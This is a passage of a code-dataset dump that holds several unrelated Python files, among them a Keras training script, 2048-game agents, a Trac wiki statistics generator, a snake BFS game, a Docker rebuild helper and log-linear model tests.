x1_tr.shape, x1_va)\nx3_tr, x3_va = np.array(train_input_3)[train_index], np.array(train_input_3)[test_index]#########\nx6_tr, x6_va = np.array(train_input_6)[train_index], np.array(train_input_6)[test_index]#########\nx7_tr, x7_va = np.array(train_input_7)[train_index], np.array(train_input_7)[test_index]#########\ndel train_input_1,train_input_3,train_input_6,train_input_7\ngc.collect() \n\nx11_tr, x11_va = np.array(train_input_11)[train_index], np.array(train_input_11)[test_index] \nx33_tr, x33_va = np.array(train_input_33)[train_index], np.array(train_input_33)[test_index]#########\nx66_tr, x66_va = np.array(train_input_66)[train_index], np.array(train_input_66)[test_index]#########\nx77_tr, x77_va = np.array(train_input_77)[train_index], np.array(train_input_77)[test_index]######### \nx5_tr, x5_va = np.array(train_input_5)[train_index], np.array(train_input_5)[test_index]\nx9_len_tr, x9_len_va = np.array(train_input_len)[train_index], np.array(train_input_len)[test_index]\n\ny_tr, y_va = label[train_index], label[test_index]\ndel train_input_11,train_input_33,train_input_66,train_input_5,train_input_len,label,train_input_77\ngc.collect()\n\nda_x1_tr=np.vstack((x1_tr,x11_tr))\ndel x1_tr, x11_tr\ngc.collect()\nda_x3_tr=np.vstack((x3_tr,x33_tr))\ndel x3_tr, x33_tr\ngc.collect()\nda_x6_tr=np.vstack((x6_tr,x66_tr))\ndel x6_tr,x66_tr\ngc.collect()\nda_x7_tr=np.vstack((x7_tr,x77_tr))\nda_x7_va=np.vstack((x7_va,x77_va))\n\nda_x1_va=np.vstack((x1_va,x11_va))\ndel x1_va,x11_va , x7_tr,x77_tr,x7_va,x77_va\ngc.collect()\n\nda_x3_va=np.vstack((x3_va,x33_va))\ndel x3_va,x33_va\ngc.collect()\nda_x6_va=np.vstack((x6_va,x66_va))\ndel x6_va,x66_va\ngc.collect()\nda_x5_tr=np.vstack((x5_tr,x5_tr))\ndel x5_tr\ngc.collect()\nda_x5_va=np.vstack((x5_va,x5_va))\n\nda_x9_len_va=np.vstack((x9_len_va,x9_len_va))\nda_x9_len_tr=np.vstack((x9_len_tr,x9_len_tr))\n\ndel x5_va,x9_len_tr, x9_len_va\ngc.collect()\nda_y_tr=np.vstack((y_tr,y_tr))\ndel y_tr\ngc.collect()\nda_y_va=np.vstack((y_va,y_va))\ndel y_va\ngc.collect()\n\nhist = model_age.fit( [da_x1_tr, da_x3_tr,da_x6_tr,da_x7_tr, da_x5_tr,da_x9_len_tr], #\n da_y_tr, batch_size=1024, epochs=50, #4096\n validation_data=([da_x1_va, da_x3_va, da_x6_va,da_x7_va,da_x5_va,da_x9_len_va], da_y_va), # validation_data=([x1_va, x5_va], y_va),\n callbacks=callbacks, verbose=1, shuffle=True)\n\n\nscore.append(np.max(hist.history['val_acc']))\ncount += 1\nprint('acc:', np.mean(score))\nendload = time.time() - startload\nprint('加载时间:%.2fmin' % (endload / 60))\n\n#7.11","sub_path":"project/model/age/nn_age3/train4_7_atten_wuzhe2.py","file_name":"train4_7_atten_wuzhe2.py","file_ext":"py","file_size_in_byte":19630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"589727216","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom travelport.models.formatted_text_text_type_text_format_1 import FormattedTextTextTypeTextFormat1\n\n__NAMESPACE__ = \"http://www.travelport.com/schema/common_v52_0\"\n\n\n@dataclass\nclass FormattedTextTextType1:\n \"\"\"\n Provides text and indicates whether it is formatted or not.\n\n Parameters\n ----------\n value\n formatted\n Textual information, which may be formatted as a line of\n information, or unformatted, as a paragraph of text.\n language\n Language identification.\n text_format\n Indicates the format of text used in the description e.g.\n unformatted or html.\n \"\"\"\n class Meta:\n name = \"FormattedTextTextType\"\n\n value: str = field(\n default=\"\",\n metadata={\n \"required\": True,\n }\n )\n formatted: None | bool = field(\n default=None,\n metadata={\n \"name\": \"Formatted\",\n \"type\": \"Attribute\",\n }\n )\n language: None | str = field(\n default=None,\n metadata={\n \"name\": \"Language\",\n \"type\": \"Attribute\",\n }\n )\n text_format: None | FormattedTextTextTypeTextFormat1 = field(\n default=None,\n metadata={\n \"name\": \"TextFormat\",\n \"type\": \"Attribute\",\n }\n )\n","sub_path":"travelport/models/formatted_text_text_type_1.py","file_name":"formatted_text_text_type_1.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"330395288","text":"import numpy as np\nimport torch.nn as nn\nimport torch\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nclass Agent:\n '''Agent Base.'''\n\n def __init__(self, game, display=None):\n self.game = game\n self.display = display\n\n def play(self, max_iter=np.inf, verbose=False):\n n_iter = 0\n while (n_iter < max_iter) and (not self.game.end):\n direction = self.step()\n self.game.move(direction)\n n_iter += 1\n if verbose:\n print(\"Iter: {}\".format(n_iter))\n print(\"======Direction: {}======\".format(\n [\"left\", \"down\", \"right\", \"up\"][direction]))\n if self.display is not None:\n self.display.display(self.game)\n\n def step(self):\n direction = int(input(\"0: left, 1: down, 2: right, 3: up = \")) % 4\n return direction\n\n\nclass RandomAgent(Agent):\n\n def step(self):\n direction = np.random.randint(0, 4)\n return direction\n\n\nclass ExpectiMaxAgent(Agent):\n\n def __init__(self, game, display=None):\n if game.size != 4:\n raise ValueError(\n \"`%s` can only work with game of `size` 4.\" % self.__class__.__name__)\n super().__init__(game, display)\n from .expectimax import board_to_move\n self.search_func = board_to_move\n\n def step(self):\n direction = self.search_func(self.game.board)\n return direction\n\n\nmap_table={2**i:i for i in range(1,16)}\nmap_table[0]=0\ndef grid_ohe(arr):\n ret=np.zeros(shape=(4,4,16),dtype=float)\n for r in range(4):\n for c in range(4):\n ret[r,c,map_table[arr[r,c]]]=1\n return ret\n\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(16, 64, kernel_size=(4, 1), padding=(2, 0))\n self.conv2 = nn.Conv2d(64, 128, kernel_size=(1, 4), padding=(0, 2))\n self.conv3 = nn.Conv2d(128, 128, kernel_size=(2, 2))\n self.conv4 = nn.Conv2d(128, 128, kernel_size=(3, 3), padding=(1, 1))\n self.conv5 = nn.Conv2d(128, 128, kernel_size=(4, 4), padding=(2, 2))\n self.conv6 = nn.Conv2d(128,128,kernel_size=(2,2))\n self.fc1 = nn.Linear(128 * 4 * 4, 2048)\n self.fc2 = nn.Linear(2048, 512)\n self.fc3 = nn.Linear(512, 4)\n self.batch_norm1 = nn.BatchNorm1d(128 * 4 * 4)\n self.batch_norm2 = nn.BatchNorm1d(2048)\n self.batch_norm3 = nn.BatchNorm1d(512)\n\n self.initialize()\n\n def forward(self,x): \n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = F.relu(self.conv3(x))\n x = F.relu(self.conv4(x))\n x = F.relu(self.conv5(x))\n x = F.relu(self.conv6(x))\n x = x.view(-1, 128 * 4 * 4)\n x = self.batch_norm1(x)\n x = F.relu(self.fc1(x))\n x = self.batch_norm2(x)\n x = F.relu(self.fc2(x))\n x = self.batch_norm3(x)\n x = self.fc3(x)\n\n return x\n\n def initialize(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_uniform_(m.weight, mode='fan_in')\n elif isinstance(m, nn.Linear):\n nn.init.kaiming_uniform_(m.weight, mode='fan_in')\n\nmodel_64 = Net()\nmodel_64 = model_64.cuda()\nmodel_64.eval()\nmodel_64.load_state_dict(torch.load('64_epoch_200.pkl'))\n\nmodel_128 = Net()\nmodel_128 = model_128.cuda()\nmodel_128.eval()\nmodel_128.load_state_dict(torch.load('128_epoch_200.pkl'))\n\nmodel_256 = Net()\nmodel_256 = model_256.cuda()\nmodel_256.eval()\nmodel_256.load_state_dict(torch.load('256_epoch_500.pkl'))\n\nmodel_512 = Net()\nmodel_512 = model_512.cuda()\nmodel_512.eval()\nmodel_512.load_state_dict(torch.load('512_epoch_200.pkl'))\n\nmodel_1024 = Net()\nmodel_1024 = model_1024.cuda()\nmodel_1024.eval()\nmodel_1024.load_state_dict(torch.load('1024_epoch_200.pkl'))\n\n\nclass MyOwnAgent(Agent):\n def step(self): \n bd=np.array(self.game.board)\n bd_ohe=grid_ohe(bd)\n bd_ohe=np.swapaxes(bd_ohe,0,2)\n bd_ohe=np.expand_dims(bd_ohe, axis=0)\n bd_ohe=torch.from_numpy(bd_ohe).float()\n score=self.game.score\n bd_ohe=Variable(bd_ohe).cuda()\n if score<=64:\n out=model_64(bd_ohe)\n elif score==128:\n out=model_128(bd_ohe)\n elif score==256:\n out=model_256(bd_ohe)\n elif score==512:\n out=model_512(bd_ohe)\n elif score==1024:\n out=model_1024(bd_ohe)\n\n direction = nn.functional.softmax(out,dim=1).argmax()\n return direction.item()\n","sub_path":"game2048/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":4481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"327174725","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nimport pytz\n\n\ndef naive_to_timezone(naive=False, naive_tz=pytz.UTC, naive_dst=False, target_tz=False):\n \"\"\"\n Converts a naive datetime to a timezone aware datetime.\n\n Retrurns 'now' in the UTC timezone if no options are given\n\n Optionally:\n If set target_timezone will convert the timezone aware datetime object to the desired target timezone\n\n :param naive: Naive datetime without tzinfo\n :param naive_tz: Timezone of the naive datetime\n :param naive_dst: Set if the naive datetime given is daylight saving aware or not?\n e.g.: If the naive_datetime is in Sommerzeit or Winterzeit (just as you speak it) it should be set to True.\n Possible values are 'True', 'False' or 'None' ('None' will raise exceptions if you try to build ambiguous or\n non-existent times)\n :param target_tz: Convert the datetime to the target timezone\n :return (datetime): Timezone Object\n \"\"\"\n if not naive:\n naive = datetime.datetime.now()\n\n # https://stackoverflow.com/questions/43324731/timezone-in-odoo-9\n # ATTENTION: Do NOT use 'tzinfo' but 'localize' instead or you will get unexpected behaviour because of\n # Timeshifts in the pytz lib! See: http://pytz.sourceforge.net/\n # https://gist.github.com/michaelkarrer81/d020b7400775d5e7a71ef4053cfb4ae4\n res = naive_tz.localize(naive, is_dst=naive_dst)\n\n if target_tz:\n res = res.astimezone(target_tz)\n\n return res\n","sub_path":"addons-own/fso_base/tools/datetime_tools.py","file_name":"datetime_tools.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"115649876","text":"#!/usr/bin/python2.7\n# -*- coding: utf-8 -*-\n\n#/**************************************************************************\n# *\n# * This file is part of the UGE(Uniform Game Engine).\n# * Copyright (C) by SanPolo Co.Ltd. \n# * All rights reserved.\n# *\n# * See http://uge.spolo.org/ for more information.\n# *\n# * SanPolo Co.Ltd\n# * http://uge.spolo.org/ sales@spolo.org uge-support@spolo.org\n# *\n#**************************************************************************/\n\nfrom datetime import datetime\nimport config\nimport xxutils\nimport re\n\ndef WikiAddItem(wiki, item) :\n if not item[\"author\"] in wiki :\n wiki[ item[\"author\"] ] = {}\n \n if not item[\"name\"] in wiki[ item[\"author\"] ] :\n wiki[ item[\"author\"] ][ item[\"name\"] ] = {}\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"words\"] = item[\"change\"]\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"versions\"] = item[\"version\"]\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"times\"] = 1\n if item[\"version\"] == 1 :\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"create\"] = 1\n else :\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"create\"] = 0\n else :\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"words\"] += item[\"change\"]\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"versions\"] = str(wiki[ item[\"author\"] ][ item[\"name\"] ][\"versions\"]) + \";\" + str(item[\"version\"])\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"times\"] += 1\n if item[\"version\"] == 1 or wiki[ item[\"author\"] ][ item[\"name\"] ][\"create\"] == 1 :\n wiki[ item[\"author\"] ][ item[\"name\"] ][\"create\"] = 1\n \n return wiki\n\ndef GetWikiStatByMonth(conn, year, month) :\n t = (year, month, )\n\n month_wiki = conn.cursor()\n month_wiki.execute(\"\"\"select name,version,author,length(text),text, strftime('%Y', time/1000000, 'unixepoch', 'localtime') as y ,strftime('%m', time/1000000, 'unixepoch', 'localtime') as m\nfrom wiki\nwhere strftime('%Y', time/1000000, 'unixepoch', 'localtime') = ? and strftime('%m', time/1000000, 'unixepoch', 'localtime')=?\"\"\", t)\n \n wiki = {}\n for name, version, author, text_len, text, year, month in month_wiki :\n \n # 忽略一些用户,比如离职。\n if author not in config.SPP_USERS:\n continue\n \n row = {}\n row[\"name\"] = name\n row[\"version\"] = version\n row[\"author\"] = author\n row[\"text\"] = text\n \n if version == 1 :\n diff = wikiwc(text)\n\n # exclude personal wiki page, and wiki code page.\n if xxutils.IsExcludeWiki(name) or xxutils.IsWikiSourcePage(name):\n row[\"change\"] = 0\n else:\n row[\"change\"] = diff\n\n else :\n #需要找到前一个版本比较\n lastversion = version - 1\n \n t = (name, lastversion)\n lastmodify_wiki = conn.cursor()\n lastmodify_wiki.execute(\"\"\"select name,version,author,length(text),text from wiki where name =? and version=?\n \"\"\", t)\n \n r = lastmodify_wiki.fetchone()\n \n if len(r) > 0 :\n lasttext = r[4] # text\n else :\n lasttext = \"\"\n \n diff = wikiwc(lasttext, text)\n\n # exclude personal wiki page, and wiki code page.\n if xxutils.IsExcludeWiki(name) or xxutils.IsWikiSourcePage(name):\n row[\"change\"] = 0\n else:\n row[\"change\"] = diff\n \n lastmodify_wiki.close()\n \n wiki = WikiAddItem(wiki, row);\n\n month_wiki.close()\n \n return wiki\n\n##\n# @brief write data to pages\n##\ndef WikiWritePage(conn, year, month) :\n wiki = GetWikiStatByMonth(conn, year, month)\n title = year + \"年\" + month + \"月 Wiki统计\"\n index = \"\"\n output = \"\"\n header = \"\\n\"\n header += \"\\t\\n\"\n header += \"\\t\\t\\n\"\n header += \"\\t\\t\" + title + \"\\n\\t\\n\\t\\n

\" + title + \"

\\n\"\n \n not_sort = {}\n \n for user, items in wiki.iteritems() :\n \n # 当月的总的wiki字数\n words = 0\n wikitext = \"\" # show this in \n \n output += \"

\" + user + \"

\\n\"\n output += \"

创建

\\n\"\n output += \"\\n\\n\"\n wikitext += \"=== 本月创建Wiki列表\\n\"\n \n for name, item in items.iteritems() :\n \n if item[\"create\"] == 1 :\n \n output += \"\\n\"\n output += \"\\n\"\n \n output += \"\\n\"\n output += \"\\n\" \n output += \"\\n\"\n output += \"\\n\"\n words += item[\"words\"]\n \n wikitext += \"|| wiki:\" + name + \" ||\\n\"\n \n output += \"
标题修改记录操作次数字数统计
\" + name + \"\\n\"\n versions = str(item[\"versions\"]).split(\";\")\n for version in versions :\n version = int(version)\n if version != 1 :\n output += \" V\" + str(version) + \"\"\n \n output += \"\" + str(item[\"times\"]) + \"\" + str(item[\"words\"]) + \"
\\n\"\n output += \"

修改

\\n\"\n output += \"\\n \"\n wikitext += \"=== 本月修改Wiki列表\\n\"\n \n for name, item in items.iteritems() :\n \n if item[\"create\"] == 0 :\n output += \"\\n\\n\\n\\n\"\n words += item[\"words\"]\n \n wikitext += \"|| wiki:\" + name + \" ||\\n\"\n \n output += \"
标题修改记录操作次数字数统计
\" + name + \"\"\n \n versions = str(item[\"versions\"]).split(\";\")\n for version in versions :\n version = int(version)\n if version != 1 :\n output += \"  V\" + str(version) + \"\"\n \n output += \"\" + str(item[\"times\"]) + \"\"\n output += str(item[\"words\"]) + \"
\\n\"\n output += \"

字数统计:\" + str(words) + \"

\\n\"\n \n wikitext += \"=== 统计信息\\n\"\n wikitext += \"|| 字数统计 ||\\n\" + \"|| \" + str(words) + \" ||\\n\"\n \n # Copy this to your ticket.\n output += \"

复制如下内容,替换自评贴中的“{Wiki内容列表}”

\\n\\n


\"\n \n not_sort[ user ] = words\n \n \n output += \"\"\n\n sort = xxutils.asort( not_sort )\n\n current = year + month + \".html\"\n \n index += ''''''\n index += \"\\n\"\n index += \"\\n\"\n for user, word in sort :\n index += \"\\n\"\n index += \"
姓名字数
\" + user + \" \" + str(word) + \"
\"\n \n pathname = config.TRAC_OUTPUT_PATH + \"/wiki\" + \"/\" + year + month + \".html\"\n f = open(pathname, 'w')\n f.write(header + index + output)\n f.close()\n\n return index\n\n##\n# @brief Query database for all the month info in Trac Wiki.\n##\ndef WikiDealAllMonth(conn):\n \n index = \"Wiki统计

Wiki统计

\"\n index += \"Generated: \" + str(datetime.now()) + \"\"\n \n # All wiki in one month.\n all_wiki = conn.cursor()\n all_wiki.execute(\"\"\"select distinct strftime('%Y', time/1000000, 'unixepoch', 'localtime') as y ,strftime('%m', time/1000000, 'unixepoch', 'localtime') as m \nfrom wiki\norder by strftime('%Y', time/1000000, 'unixepoch', 'localtime') desc ,strftime('%m', time/1000000, 'unixepoch', 'localtime') desc\"\"\")\n \n for year, month in all_wiki:\n # 2011|11\n index += \"

\" + year + \"年\" + month + \"月

\\n\"\n index += WikiWritePage(conn, year , month)\n \n all_wiki.close()\n\n index += \"\"\n \n pathname = config.TRAC_OUTPUT_PATH + \"/wiki\" + \"/index.html\"\n \n f = open(pathname, 'w')\n f.write(index)\n f.close()\n\n# count word in wiki text\ndef wikiwc(rev1, rev2 = None):\n # only one revision\n if rev2 == None :\n # remove \"{{{...}}}\"\n content = xxutils.sub_code_block(rev1)\n\n #content = xxutils.rm_whitespace(content)\n #content = xxutils.rm_linebreak(content)\n return xxutils.cws(content)\n # has previous revision.\n else :\n # remove \"{{{...}}}\", then diff.\n rev1_content = xxutils.sub_code_block(rev1)\n rev2_content = xxutils.sub_code_block(rev2)\n\n diff = xxutils.find_diff_code_lines(rev1_content, rev2_content)\n\n return xxutils.cws(diff)\n\n","sub_path":"trac-stat/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":10972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"562347653","text":"import random\nimport os\nimport pygame\nfrom bfs import bfs\nfrom models import Apple, Snake\n\npygame.init()\n\n# colors\nwhite = (0, 0, 0)\nblack = (255, 255, 255)\nred = (255, 0, 0)\ngreen = (0, 155, 0)\n\n# window size\ndisplay_width = 350\ndisplay_height = 250\n\n# all the pygame settings\ngameDisplay = pygame.display.set_mode((display_width, display_height))\npygame.display.set_caption(\"Snake Game\")\nclock = pygame.time.Clock()\nfilepath = os.path.dirname(__file__)\nicon = pygame.image.load(\"img/food.png\")\npygame.display.set_icon(icon)\nfilepath = os.path.dirname(__file__)\nimg = pygame.image.load(\"img/snakehead.png\")\nfilepath = os.path.dirname(__file__)\nimg2 = pygame.image.load(\"img/food.png\")\npygame.display.flip()\n\n\n\nblock_size = 10\n# frame per second will control the game speed\nFPS = 30\n\ndef one_game():\n pygame.event.pump()\n game_over = False\n\n # snake will start in the middle of the game window\n lead_x = 70\n lead_y = 70\n\n # snake default direction is right\n snake = Snake(gameDisplay, display_width, display_height, img, lead_x, lead_y)\n apple = Apple(gameDisplay, display_width, display_height, block_size, img2, snake.snake_list) \n\n while not game_over:\n \n\n # based on the direction, we can work out the x, y changes to update the snake\n x, y = apple.get_apple_pos()\n snake.update_snake_list(x, y)\n\n # check if snake dies\n if snake.is_alive() is False:\n game_over = True\n\n gameDisplay.fill(white)\n \n # if snake eats the apple, make a random new apple\n if snake.eaten is True:\n apple.update_apple_pos(snake.snake_list)\n\n apple.display()\n snake.eaten = False\n snake.display()\n snake.display_score()\n pygame.display.update()\n\n\n\n # this part is using the snake position and apple\n # position to use the BFS method to get the path\n a_x, a_y = apple.get_apple_pos()\n s_x, s_y = snake.get_snake_head()\n visited = snake.snake_list.copy()\n visited.remove([s_x, s_y])\n result = bfs(display_width, display_height, block_size, visited, [a_x, a_y], [s_x, s_y])\n\n # since the path starts from snake position, the second element will\n # be next move\n next_cell = result[1]\n \n # update the snake position based on the next move position\n x_diff = next_cell[0] - s_x\n y_diff = next_cell[1] - s_y\n if x_diff > 0:\n snake.direction = \"right\"\n elif x_diff < 0:\n snake.direction = \"left\"\n elif y_diff > 0:\n snake.direction = \"down\"\n elif y_diff < 0:\n snake.direction = \"up\"\n\n clock.tick(FPS)\n\nif __name__ == \"__main__\":\n one_game()\n","sub_path":"BreadthFirstSearch/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"273018320","text":"'''\nRemoves container, removes image, builds image, starts container\nFill in the required image/container tag/name and any args\nAll containers use 'docker run' with '--name [CONTAINER]'\nScript assumes Dockerfile at .\n'''\n\nfrom os import system\n\ndef sprint(string, color):\n '''Tries to print with termcolor.cprint'''\n try:\n from termcolor import cprint\n printer = 'col'\n except ModuleNotFoundError:\n printer = 'nocol'\n if printer == 'col':\n cprint(string, color)\n elif printer == 'nocol':\n print(string)\n\ndef spacer(string):\n '''Tests and modifies spaces in *_args'''\n if string == '':\n return ''\n if string[len(string)-1] == ' ':\n return string\n string = string + ' '\n return string\n\ndef remake(container, build_args, start_args):\n '''Remove container and image, build image and start container CONTAINER'''\n build_args = spacer(build_args)\n start_args = spacer(start_args)\n\n remove_container = 'docker rm '+container\n remove_image = 'docker rmi '+container\n build_image = 'docker build '+build_args+'-t '+container+' .'\n start_container = 'docker run --name '+container+' '+start_args+container\n\n sprint(remove_container, 'yellow')\n system(remove_container)\n sprint(remove_image, 'yellow')\n system(remove_image)\n sprint(build_image, 'yellow')\n system(build_image)\n sprint(start_container, 'yellow')\n system(start_container)\n\nif __name__ == '__main__':\n CONTAINER = 'kiosky'\n BUILD_ARGS = ''\n START_ARGS = '-p 80:80'\n remake(CONTAINER, BUILD_ARGS, START_ARGS)\n","sub_path":"rebuild.py","file_name":"rebuild.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"201518996","text":"import modules\nimport cv2\nimport numpy as np\nfrom skimage import draw\nimport skimage\nimport scipy.spatial as spatial\n\nconfig = modules.run.load_config('cls_w6_e1')\ndata_manager = modules.data.DataManager(config)\n\norig_dim = 1000\ncrop_dim = 224\nthreshold = 4\n\nsave_dir = './data/kenya/kenya_224x224_masks/'\n\ndef polygon_perimeter(r, c):\n r = np.round(r).astype(int)\n c = np.round(c).astype(int)\n\n rr, cc = [], []\n for i in range(len(r) - 1):\n line_r, line_c = skimage.draw.line(r[i], c[i], r[i + 1], c[i + 1])\n rr.extend(line_r)\n cc.extend(line_c)\n\n rr = np.asarray(rr)\n cc = np.asarray(cc)\n\n return rr, cc\n\npoints = [(i, j) for i in range(orig_dim) for j in range(orig_dim)]\npoint_tree = spatial.cKDTree(points)\n\nfor idx in range(len(data_manager.dataframes[\"kenya\"])):\n shpData = data_manager.shapefiles[\"kenya\"].shape(idx).points\n\n min_lat = float(data_manager.dataframes[\"kenya\"][idx:idx+1]['minlat'])\n max_lat = float(data_manager.dataframes[\"kenya\"][idx:idx+1]['maxlat'])\n min_lon = float(data_manager.dataframes[\"kenya\"][idx:idx+1]['minlon'])\n max_lon = float(data_manager.dataframes[\"kenya\"][idx:idx+1]['maxlon'])\n\n points_true = [x for x in shpData if min_lat < x[1] < max_lat and min_lon < x[0] < max_lon]\n\n lon = [x[0] for x in points_true]\n lat = [x[1] for x in points_true]\n\n lat_range = max_lat - min_lat\n lat = orig_dim * (np.array(lat) - min_lat) / lat_range\n\n lon_range = max_lon - min_lon\n lon = orig_dim * (np.array(lon) - min_lon) / lon_range\n \n lon_pixel = polygon_perimeter(lon, lat)[0]\n lat_pixel = polygon_perimeter(lon, lat)[1]\n \n coords = []\n\n lon_thick = []\n lat_thick = []\n\n for i in range(len(lon_pixel)):\n nearest_points_idx = point_tree.query_ball_point([lon_pixel[i], lat_pixel[i]], threshold)\n for point_idx in nearest_points_idx:\n coords.append(points[point_idx])\n lon_thick.append(points[point_idx][0])\n lat_thick.append(points[point_idx][1])\n \n img = np.zeros((orig_dim, orig_dim), dtype=np.uint8)\n img[lat_thick, lon_thick] = 1\n save_img = img[(orig_dim // 2 - crop_dim // 2):(orig_dim // 2 + crop_dim // 2), (orig_dim // 2 - crop_dim // 2):(orig_dim // 2 + crop_dim // 2)]\n cv2.imwrite(save_dir + str(idx) + '_kenya_224x224_mask.png', save_img)\n \n \n \n \n \n ","sub_path":"generate_masks.py","file_name":"generate_masks.py","file_ext":"py","file_size_in_byte":2383,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"560775468","text":"# Copyright 2016 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport copy\nimport math\nimport numpy as np\n\nfrom analysis.linear.feature import ChangedFile\nfrom analysis.linear.feature import FeatureValue\nfrom analysis.linear.feature import WrapperMetaFeature\nfrom analysis.linear.model import LogLinearModel\nfrom analysis.linear.model import UnnormalizedLogLinearModel\nfrom analysis.linear.weight import MetaWeight\nfrom analysis.linear.weight import Weight\nfrom analysis.linear.linear_testcase import LinearTestCase\nfrom libs.meta_object import MetaDict\n\n\nclass UnnormalizedLogLinearModelTest(LinearTestCase):\n\n def setUp(self):\n super(UnnormalizedLogLinearModelTest, self).setUp()\n self.model = UnnormalizedLogLinearModel(self._meta_feature,\n self._meta_weight,\n 0.00001)\n\n def testLogZeroish(self):\n self.assertTrue(self.model.LogZeroish(-float('inf')))\n self.assertFalse(self.model.LogZeroish(2.))\n\n def testFilterReasonWithWeight(self):\n meta_weight = MetaWeight({'f1': Weight(2.), 'f2': Weight(0.),\n 'f3': Weight(1.)})\n reason = MetaDict({'f1': ['reason1', 'reason3'], 'f2': ['reason2']})\n\n model = UnnormalizedLogLinearModel(None, meta_weight)\n self.assertListEqual(model.FilterReasonWithWeight(reason), ['reason1',\n 'reason3'])\n\n\nclass LoglinearTest(LinearTestCase):\n\n def testLogLinearModel(self):\n \"\"\"An arbitrary test to get 100% code coverage.\n\n Right now this test simply calls every method. The only assertions are\n that log-domain and normal-domain things are related appropriately;\n and similarly for the quadrance and l2-norm. Since the one is defined\n in terms of the other in exactly the way written here, those should\n be trivially true. However, if the implementation changes, then they\n may become flaky due to floating point fuzz. Really this should be\n replaced by a collection of semantically meaningful tests, i.e.,\n ones that actually look for bugs we might realistically need to\n guard against. At least this test is good for detecting typo-style\n errors where we try accessing fields/methods that don't exist.\n \"\"\"\n model = LogLinearModel(self._Y, self._meta_feature, self._meta_weight)\n model.ClearAllMemos()\n self.assertEqual(self._meta_weight, model.meta_weight)\n self.assertEqual(math.sqrt(model.quadrance), model.l2)\n\n for x in self._X:\n self.assertEqual(math.exp(model.LogZ(x)), model.Z(x))\n model.Expectation(x, lambda y: np.array([1.0]))\n for y in self._Y(x):\n model.Features(x)(y)\n model.Score(x)(y)\n self.assertEqual(\n math.exp(model.LogProbability(x)(y)),\n model.Probability(x)(y))\n\n def testMetaWeightSetter(self):\n model = LogLinearModel(self._Y, self._meta_feature, self._meta_weight)\n new_meta_weight = copy.deepcopy(self._meta_weight)\n new_meta_weight['Feature0'] = Weight(2.1)\n model.meta_weight = new_meta_weight\n self.assertTrue(model.meta_weight == new_meta_weight)\n","sub_path":"appengine/predator/analysis/linear/test/model_test.py","file_name":"model_test.py","file_ext":"py","file_size_in_byte":3245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"434930813","text":"__author__ = \"Paul Diederichs\"\n\n#mad libs game\n\n#storing user inputs in variables\n\n#first string input\nnoun = raw_input(\"enter a noun: \")\n#second string input\nadjective = raw_input(\"enter an adjective: \")\n#first number input\nage = raw_input(\"enter an age: \")\n#second number input\ntime = raw_input(\"enter a time(ex:9pm) : \")\n#adding noun and \nwords = [noun,adjective]\n\nnumbers = [age,time]\n\n#game function\ndef game(w,n):\n\t#story with user inputs\n\tprint(\"A \" + w[0] + \" doesn't have many friends. \" + \"The \" + w[0] + \" knows it is \" + w[1] + \". Being \"+ n[0] + \" years old\" + \" doesn't help the situation either. so the \" + w[0] + \" decides to go die in a hole at \" + n[1])\n\tword_s = \"\"\n\tfor input in w:\n\t\tword_s+= \" \"+input \n\tfor input in n:\n\t\tword_s+= \" \"+input\n\tprint(\"these were the values you entered: \" + word_s)\n#making a conditional to restart the game if the user does not input any values\nif len(words) < 2 & len(numbers) < 2:\n\tprint(\"please restart the game and fill in words and numbers when prompted\")\n\nelse:\n\tgame(words,numbers)\n","sub_path":"mad libs/madlibs.py","file_name":"madlibs.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"313215677","text":"#!/usr/bin/python\nfrom mininet.net import Mininet\nfrom mininet.node import Node, Switch, RemoteController, OVSSwitch, Controller\nfrom mininet.link import Link, Intf\nfrom mininet.log import setLogLevel, info\nfrom mininet.node import RemoteController\nfrom mininet.cli import CLI\nimport opennet\nfrom opennet import *\nimport ns\nimport time\nimport os\n\nclass InbandController( RemoteController ):\n\n def checkListening( self ):\n \"Overridden to do nothing.\"\n return\ndef fakeInterfaceDown():\n\tos.system(\"ifconfig lo:1 down\")\n\ndef fakeInterfaceUp():\n\tos.system(\"ifconfig lo:1 10.0.0.4/32\")\n\ndef emptyNet():\n\n #os.system(\"~/UCLA_SDUAN/tests/controller_tests/pre-config.sh\")\n\n \"Create an empty network and add nodes to it.\"\n #ns.core.LogComponentEnable(\"UanChannel\", ns.core.LOG_ALL)\n #ns.core.LogComponentEnable(\"UanHelper\", 